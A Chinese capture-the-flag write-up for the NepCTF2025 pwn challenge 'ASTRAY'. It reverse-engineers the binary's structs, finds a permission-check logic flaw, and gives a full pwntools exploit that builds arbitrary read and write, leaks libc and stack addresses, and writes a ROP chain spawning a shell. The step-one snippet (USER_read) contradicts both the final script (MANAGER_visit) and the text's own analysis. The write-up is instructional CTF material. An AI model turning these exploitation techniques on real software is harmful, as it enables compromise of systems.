ASTRAY
前言
关注公众号【Real返璞归真】,回复【NepCTF2025】获取附件下载地址。
题目名:ASTRAY
解题数:26
题目描述:There are a lot of forks in the road here, kid, are you lost?
知识点:代码审计、逆向结构体还原、逻辑漏洞、高版本glibc(>=2.35)任意地址读写
本题的难点在于逆向分析与结构体还原,熟悉程序逻辑后漏洞利用步骤比较常规。
逆向分析
main函数分析
拖入IDA分析,找到main函数:

发现它会执行init函数并返回a1,然后根据输入的perm权限选择执行user_operation()或manager_operation(a1)。
跟进init函数分析:

申请0x2000堆空间,并将地址存储到v2指针。然后对全局变量进行一系列的初始化操作,我们可以结合后续使用到这些变量的地方理解它们的含义。
user_operation函数分析
先来分析user_operation()函数:

让我们输入idx和op,然后调用check()函数检查权限。我们跟进check()函数分析:

它会先判断idx是否<=20,也就是说我们有20个可以操作的元素。接着判断op是否合法,只允许5种操作。
然后,从manage_physic[]中根据idx取出元素地址存储到v5指针。
对于perm == 1000的情况:·
USER_read、MANAGER_read、MANAGER_write、MANAGER_visit会直接通过检查返回True。USER_write会检查(v5[1] & 1),若(v5[1] & 1) != 0返回True通过检查。
这个函数可能是user和manager共用的检查函数,并且如果user使用manager的op也可以检查通过(可能存在逻辑漏洞)。
通过check()函数的检查之后,程序会根据idx从manage_physic[]和dword_4068[]中取出元素存储到qword_41A8结构体中。
然后调用permission_confirm()函数,我们跟进分析:

这里会根据我们之前输入的op,为qword_41A8+16设置一个值。
这个函数也是user和manager共用的函数,如果user输入manager的op也可以成功设置值。
最后根据qword_41A8+16中的值决定执行USER_read和USER_write:
USER_write:写qword_41A8指针指向的地址写入最多0xFF字节的数据USER_read:从qword_41A8指针指向的地址读取最多0xFF字节的数据。
根据上面的分析,我们发现,user_operation()函数允许用户输入idx和op,然后根据op指令去读或写数组中下标为idx的指针指向的区域。
但是,可能存在安全风险,因为check()和permission_confirm()函数的共用,程序并没有严格校验,使得user也可以输入manager的op。
这样会导致qword_41A8被错误的赋值manage_physic[]和dword_4068[]中的值,但不进行任何操作。
manager_operation函数分析
我们继续分析另一个分支,manager_operation()函数:

这个函数同样要求我们输入idx和op,然后调用check()函数进行权限检查。
对于check()函数,前面的操作和之前一样,区别在于:
- 输入
MANAGER_write时,要求(v5[1] & 2) != 0。 - 输入
MANAGER_visit时,要求qword_41A8指针指向的内容不为空。
执行完毕check()后,程序会根据输入的idx为全局变量a1赋值(暂不具体分析)。
随后,程序调用permission_confirm()函数根据op为*(*(a1 + 8) + 16)赋值,并根据赋值选择后续执行的分支。
同理,check()和permission_confirm()被共用,且检查不严谨,manager也可以输入user的指令。
最后,程序根据*(*(a1 + 8) + 16)处的值执行不同分支:
MANAGER_write:向*(a1+8)指针指向的区域写入最多0xFF字节的数据。MANAGER_read:从*(a1+8)指针指向的区域读取最多0xFF字节的数据。MANAGER_visit:程序会让我们输入1或2(分别对应user_read和user_write):user_read:从**(*(a1 + 16) + 8LL)区域读取最多0xFF字节的数据。user_write:向**(*(a1 + 16) + 8LL)区域写入最多0xFF字节的数据。
结构体还原-Physic
分析完这两个函数后,我们可以对结构体尝试还原。
首先,我们来到init函数,分析全局变量数组的初始化:
dword_4068[0] = 16;
for ( i = 1; i <= 19; ++i )
{
manage_physic[2 * i] = (__int64)v2 + 256 * i;
if ( i > 9 )
dword_4068[4 * i] = 3;
else
dword_4068[4 * i] = 2;
}
双击manager_physic[]数组查看内存空间布局:

发现manager_physic[]只占8个字节,所以这个循环初始化会进行越界操作写入到紧邻的dword_4068[]数组中。
结合前面的逆向分析,可以推断出manager_physic[]数组的大小被错误的识别,我们将其修改为20个元素:

然后根据初始化的赋推断Physic结构体:
00000000 Physic struc ; (sizeof=0x10, mappedto_8)
00000000 content_ptr dq ?
00000008 perm dd ?
0000000C pad dd ?
00000010 Physic ends
修复后的结构体如下图所示,代码可读性大幅度提高:

继续分析init()函数,全局变量qword_41A8存储0x18大小空间的地址(后续用到再分析这个结构体):
qword_41A8 = (__int64)malloc(0x18uLL);
*(_DWORD *)(qword_41A8 + 16) = 0;
*(_QWORD *)qword_41A8 = 0LL;
*(_DWORD *)(qword_41A8 + 8) = 0;
接着,将manage_physic[0].content_ptr赋值给局部变量 content_ptr,然后进行一系列的赋值操作:
content_ptr = manage_physic[0].content_ptr;
*manage_physic[0].content_ptr = 1;
*(content_ptr + 16) = &onlyuser;
*(content_ptr + 8) = malloc(0x18uLL);
*(*(content_ptr + 8) + 16LL) = 0;
**(content_ptr + 8) = 0LL;
*(*(content_ptr + 8) + 8LL) = 0;
根据这些赋值,我们可以推测出Content结构体:
00000000 Content struc ; (sizeof=0x18, mappedto_9)
00000000 magic dd ?
00000004 pad dd ?
00000008 unknown_ptr dq ?
00000010 only_user_ptr dq ?
00000018 Content ends
其中,unknown_ptr的大小与初始化与qword_41A8相似,可以推断出它们类型应该一致。
然后将Physic结构体的content_ptr类型修改为Content *。
还原后的结构体如下所示:

最终,程序返回manage_physic[0]的地址给全局变量a1指针。
结构体还原-PhysicWithPermissionConfirm
此时,再次进入user_operation()函数:

可以发现,代码可读性有所提高。结合代码,我们可以推断出qword_41A8类型的的结构体:
00000000 PhysicWithPermissionConfirm struc ; (sizeof=0x18, mappedto_10)
00000000 content_ptr dq ? ; offset
00000008 perm dd ?
0000000C pad1 dd ?
00000010 permission_confirm dd ?
00000014 pad2 dd ?
00000018 PhysicWithPermissionConfirm ends
它在Physic结构体的基础上,多了一个permission_confirm字段用于根据op选择程序分支。
此时,user_operation()函数非常清晰:

我们之前提到过,Content结构体中的unknown_ptr与该变量类型一致,将其修改为PhysicWithPermissionConfirm *类型并改名。
此时,我们再次进入manager_operation()函数,发现代码可读性提高:

逆向分析还原后的完整程序
main函数:

init函数:

user_operation函数:

manager_operation函数:

至此,我们已经完成逆向分析的所有工作,后续只需要理清程序逻辑即可进行进一步的漏洞利用。
利用思路
整体利用思路
逆向分析完成后,我们发现manager_operation()函数中有一段代码非常奇怪:
case 6:
write(1, **(a1->only_user_ptr + 8), 0xFFuLL);
break;
case 3:
read(0, **(a1->only_user_ptr + 8), 0xFFuLL);
break;
它没有写入到某个变量中,而是写入到计算后的地址指向的内存空间中。
而a1->only_user_ptr在init()函数中被初始化为onlyuser变量的地址:
content_ptr->only_user_ptr = &onlyuser;
我们可以在内存空间中查看onlyuser变量:

而(a1->only_user_ptr + 8)刚好是physicEntry变量的地址(在user_operation()函数中被赋值的全局变量):

内存结构如图所示:

如果我们可以控制a1->only_user_ptr就可以实现任意地址读写。
我们在init()函数中可以发现一个很有意思的事情,manage_physic[]数组的有效存储空间实际为下标1-19。
而全局变量a1始终指向manage_physic[0].content_ptr,它在初始化时被赋值:
content_ptr = manage_physic[0].content_ptr;
manage_physic[0].content_ptr->magic = 1;
content_ptr->only_user_ptr = &onlyuser;
content_ptr->physicWithPermissionConfirm_ptr = malloc(0x18uLL);
content_ptr->physicWithPermissionConfirm_ptr->permission_confirm = 0;
content_ptr->physicWithPermissionConfirm_ptr->content_ptr = 0LL;
content_ptr->physicWithPermissionConfirm_ptr->perm = 0;
如果我们能通过程序修改manage_physic[0]->content_ptr的内容,就能进一步控制a1->only_user_ptr。
当physicEntry = manage_physic[0]时,内存布局如下图所示:

此时,我们修改**(a1->only_user_ptr + 8)就是在修改最右侧的结构体,进而实现篡改only_user_ptr指针。
细节-权限绕过
但我们还没有考虑check()函数的权限校验,它可能不允许我们操作下标为0的元素,我们再次进入check()函数:

如果我们输入USER_write,程序要求该元素perm的最低为1。如果我们输入MANAGER_write,程序要求该元素的次低位为1。
而在init()函数中,manage_physic[0]->perm被赋值为16,无法满足这两个write操作的条件。
这时候,我们只能寄希望于MANAGER_visit进行读写操作,它只会去检查physicEntry->content_ptr是否非空(在user_operation()函数中被赋值)。
此外,想要使用manager_operation()函数的MANAGER_visit,还需要满足checkvisit()函数的条件:

即permission_confirm的第3bit只能为0,所以USER_read不满足条件。
所以,我们现在的思路是尝试在user_operation()函数中将manage_physic[0]的地址赋值给全局变量physicEntry。
在user_operation()函数中:

只有通过check()函数的检查,我们才能为physicEntry变量赋值。
而check()函数中,我们使用Manager_read or USER_read(对应的permission_confirm第3bit不为0)和MANAGER_write or USER_write(perm检查不通过)都无法通过检查。
不过,在前面的逆向分析中,我们发现check()函数检查并不严格,我们可以在user_operation()函数中使用manager的op。
我们使用MANAGER_visit以通过权限检查:

然后,程序会设置physicEntry->content_ptr=manage_physic[0].content_ptr,但不会执行后门的任何操作。
细节-指针改写
然后,我们开始覆盖manage_physic[0]->content_ptr->only_user_ptr指针实现任意地址读写。
由于程序读写**(a1->only_user_ptr + 8),我们需要两个跳板指向以便让**(a1->only_user_ptr + 8)指向target。
覆盖前:

覆盖后:

此后,我们只需要修改chunk_B中的内容就可以实现任意地址读写操作。
细节-getShell
通过指针改写,我们已经实现任意地址读写。题目开启RELRO无法修改GOT,并且所给的glibc为2.35版本,没有hook函数。
利用思路同常规的题目,我们先泄露libc,然后泄露environ变量中的栈地址,最后改写返回地址为ROP即可。
具体利用思路
首先,通过user_operation()函数,设置physicEntry->content_ptr = manager_physic[0].content_ptr。
脚本如下所示:
# 1. physicEntry->content_ptr = manager_physic[0].content_ptr
p.sendlineafter(b'(1:manager 1000:user)\n', b'1000')
p.sendafter(b'logs(USER_write)\n', b'USER_read')
p.sendlineafter(b'can visit\n', b'0')
此时,*(a1->only_user_ptr + 8) = manager_physic[0].content_ptr。
接着,我们使用manager_operation()的MANAGER_visit读取出manager_physic[0]->content_ptr以泄露heap和elf_base。
此时,它会依次输出magic(4字节)、pad(4字节)、physicWithPermissionConfirm_ptr(8字节)和only_user_ptr(8字节)。
脚本如下所示:
# 2. leak heap and elf_base by manager_physic[0]->content_ptr
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'to user_logs\n', b'1')
p.recv(8)
leak_addr = u64(p.recv(8))
heap_base = leak_addr - 0x22d0
success("leak_addr = " + hex(leak_addr))
elf_base = u64(p.recv(8)) - 0x41A0
success("elf_base = " + hex(elf_base))
然后,我们开始覆盖manage_physic[0]->content_ptr->only_user_ptr指针实现任意地址读写。
由于程序读写**(a1->only_user_ptr + 8),我们需要两个跳板指向以便让**(a1->only_user_ptr + 8)指向target。
覆盖前:

覆盖后:

通过动态调试,先通过拿到manage_physic[11]->content_ptr作为chunk_A,manage_physic[12]->content_ptr作为chunk_B。
接着依次改写,脚本如下所示:
# 3. (user_only_ptr-8) -> chunk_A -> chunk_B -> target
chunk_A_addr = heap_base + 0xda0
chunk_B_addr = heap_base + 0xea0
target = 0xdeadbeef
# chunk_A -> chunk_B
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'11')
sleep(1)
p.send(p64(chunk_B_addr))
# chunk_B -> target
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'12')
sleep(1)
p.send(p64(target))
# (user_only_ptr-8) -> chunk_A
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'user_logs\n', b'2')
sleep(1)
p.send(p64(0xdeadbeef) + p64(leak_addr) + p64(chunk_A_addr-8))
然后,我们封装两个函数,用于任意地址读写:
def arbitrary_read(addr):
# chunk_B -> target
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'12')
sleep(1)
p.send(p64(addr))
# MANAGER_visit
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'to user_logs\n', b'1')
def arbitrary_write(addr, content):
# chunk_B -> target
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'12')
sleep(1)
p.send(p64(addr))
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'user_logs\n', b'2')
sleep(1)
p.send(content)
后续进行常规利用,通过任意地址读泄露libc:
# 4. leak libc
arbitrary_read(elf_base + elf.got['puts'])
libc_base = u64(p.recv(8)) - 0x80e50
libc.address = libc_base
success("libc_base = " + hex(libc_base))
最后,配合动态调试,确认返回地址,通过任意地址写将rop写入到返回地址:
# 5. retaddr -> rop
arbitrary_read(libc.sym['environ'])
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success("stack_addr = " + hex(stack_addr))
arbitrary_write(heap_base+0x500, b'/bin/sh\x00')
buf_addr = heap_base+0x500
rop = b''
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
rop += p64(0)
rop += p64(next(libc.search(asm('pop rdx; pop r12; ret;'), executable=True)))
rop += p64(0) * 2
rop += p64(libc.symbols['system'])
# gdb.attach(p, 'b *$rebase(0x18E1)\nc')
# pause()
ret_addr = stack_addr - 0x150
arbitrary_write(ret_addr, rop)
exp
from pwn import *
elf = ELF("./astray")
libc = ELF("./libc.so.6")
p = process([elf.path])
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# 1. physicEntry->content_ptr = manager_physic[0].content_ptr
p.sendlineafter(b'(1:manager 1000:user)\n', b'1000')
p.sendafter(b'logs(USER_write)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'0')
# 2. leak heap and elf_base by manager_physic[0]->content_ptr
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'to user_logs\n', b'1')
p.recv(8)
leak_addr = u64(p.recv(8))
heap_base = leak_addr - 0x22d0
success("leak_addr = " + hex(leak_addr))
elf_base = u64(p.recv(8)) - 0x41A0
success("elf_base = " + hex(elf_base))
# 3. (user_only_ptr-8) -> chunk_A -> chunk_B -> target
chunk_A_addr = heap_base + 0xda0
chunk_B_addr = heap_base + 0xea0
target = 0xdeadbeef
# chunk_A -> chunk_B
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'11')
sleep(1)
p.send(p64(chunk_B_addr))
# chunk_B -> target
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'12')
sleep(1)
p.send(p64(target))
# (user_only_ptr-8) -> chunk_A
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'user_logs\n', b'2')
sleep(1)
p.send(p64(0xdeadbeef) + p64(leak_addr) + p64(chunk_A_addr-8))
def arbitrary_read(addr):
# chunk_B -> target
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'12')
sleep(1)
p.send(p64(addr))
# MANAGER_visit
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'to user_logs\n', b'1')
def arbitrary_write(addr, content):
# chunk_B -> target
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'12')
sleep(1)
p.send(p64(addr))
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'user_logs\n', b'2')
sleep(1)
p.send(content)
# 4. leak libc
arbitrary_read(elf_base + elf.got['puts'])
libc_base = u64(p.recv(8)) - 0x80e50
libc.address = libc_base
success("libc_base = " + hex(libc_base))
# 5. retaddr -> rop
arbitrary_read(libc.sym['environ'])
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success("stack_addr = " + hex(stack_addr))
arbitrary_write(heap_base+0x500, b'/bin/sh\x00')
buf_addr = heap_base+0x500
rop = b''
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
rop += p64(0)
rop += p64(next(libc.search(asm('pop rdx; pop r12; ret;'), executable=True)))
rop += p64(0) * 2
rop += p64(libc.symbols['system'])
# gdb.attach(p, 'b *$rebase(0x18E1)\nc')
# pause()
ret_addr = stack_addr - 0x150
arbitrary_write(ret_addr, rop)
p.interactive()
1232

被折叠的 条评论
为什么被折叠?



